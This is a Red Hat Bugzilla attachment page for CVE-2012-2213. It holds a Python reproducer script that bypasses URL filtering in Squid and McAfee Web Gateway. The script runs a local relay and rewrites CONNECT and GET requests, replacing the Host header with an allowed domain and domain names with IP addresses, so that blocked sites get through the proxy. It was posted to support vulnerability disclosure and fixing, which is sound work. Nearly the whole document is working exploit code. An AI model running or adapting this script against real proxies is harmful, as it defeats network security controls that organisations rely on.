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Red Hat Bugzilla – Attachment 581172 Details for
Bug 817521
CVE-2012-2213 squid: URL filtering bypass
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Reproducer from original post
proxy_bypass.py (text/plain), 3.49 KB, created by
Jan Lieskovsky
on 2012-04-30 11:53:21 UTC
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Description:
Reproducer from original post
Filename:
MIME Type:
Creator:
Jan Lieskovsky
Created:
2012-04-30 11:53:21 UTC
Size:
3.49 KB
patch
obsolete
>import socket,struct,sys,time >from threading import Thread > > >#The timeOut can be changed if the proxy is slow. >#Tested in GMail, Facebook, Youtube and several blocked sites. >#The proxy get the Host field of the http header and do not verify anything else. >#It trusts on the HTTP Header and it can be modified by the attacker. > >timeOut = 0.8 >isGet = 0 >hostNameG = "" >pacoteGet = "" >port = 8080 #Listening port >proxyAddr = "vulnerableProxy.com" #vulnerable proxy >proxyPort = 8080 # proxy port > >def handle(client,globalSock): > > client.settimeout(timeOut) > > global hostNameG > > > while 1: > > dados = "" > tam = 0 > while 1: > try: > dados2 = client.recv(1024) > tam = tam + len(dados2) > dados = dados + dados2 > except socket.timeout: > > break > > > dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD > if dd != -1: > dd2 = dados.find(":") > hostName = dados[dd+8:dd2] > > ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain > pacote = dados > hostHeader = "Host: " + hostName > pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy > pacote = pacote.replace(hostName, ipAddr) #changind domain for ip > > > > dados = pacote > > getd = dados.find("GET ") > getd2 = dados.find("//") > getd3 = dados.find("/", getd2+2) > hostName = dados[getd2+2:getd3] > > > if getd != -1: > globalSock.close() > globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > globalSock.connect((proxyAddr,proxyPort)) > globalSock.settimeout(timeOut) > getd2 = dados.find("//") > getd3 = dados.find("/", getd2+2) > > hostName = dados[getd2+2:getd3] > > proxyAuth = "" > proxyAuthN = dados.find("Proxy-Authorization:") > if proxyAuthN != -1: > proxyAuthNN = dados.find("\r\n", proxyAuthN) > proxyAuth = dados[proxyAuthN:proxyAuthNN] > > > ipAddr = socket.gethostbyname(hostName) > > info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n" > if proxyAuthN != -1: > info += proxyAuth + "\r\n" > > info += "Host: www.uol.com.br\r\n\r\n" > > globalSock.send(info) > tam = 0 > gdata = "" > > while 1: > try: > > gdata2 = globalSock.recv(1024) > > tam = tam + len(gdata2) > gdata = gdata + gdata2 > > if len(gdata2) == 0: > break > > > except socket.timeout: > > break > > > > > > globalSock.send(dados) > tam = 0 > gdata = "" > > while 1: > try: > > gdata2 = globalSock.recv(1024) > > if len(gdata2) > 0: > client.send(gdata2) > > tam = tam + len(gdata2) > gdata = gdata + gdata2 > > if len(gdata2) == 0: > break > > > except socket.timeout: > > break > > > > >print 'Proxy Bypass' >print 'by Gabriel Menezes Nunes' >print 'Tested on McAfee Web Gateway 7 and Squid Proxy' >sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >print 'Attacked Proxy:', >print proxyAddr >print 'Listening on', >print port >sockzao.bind(("",port)) > >sockzao.listen(6) > >while 1: > print 'Waiting for connections' > client, address = sockzao.accept() > print 'Client Connected' > print address > globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > globalSock.connect((proxyAddr,proxyPort)) > globalSock.settimeout(timeOut) > > t = Thread(target=handle, args=(client,globalSock,)) > t.start() >
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bug 817521
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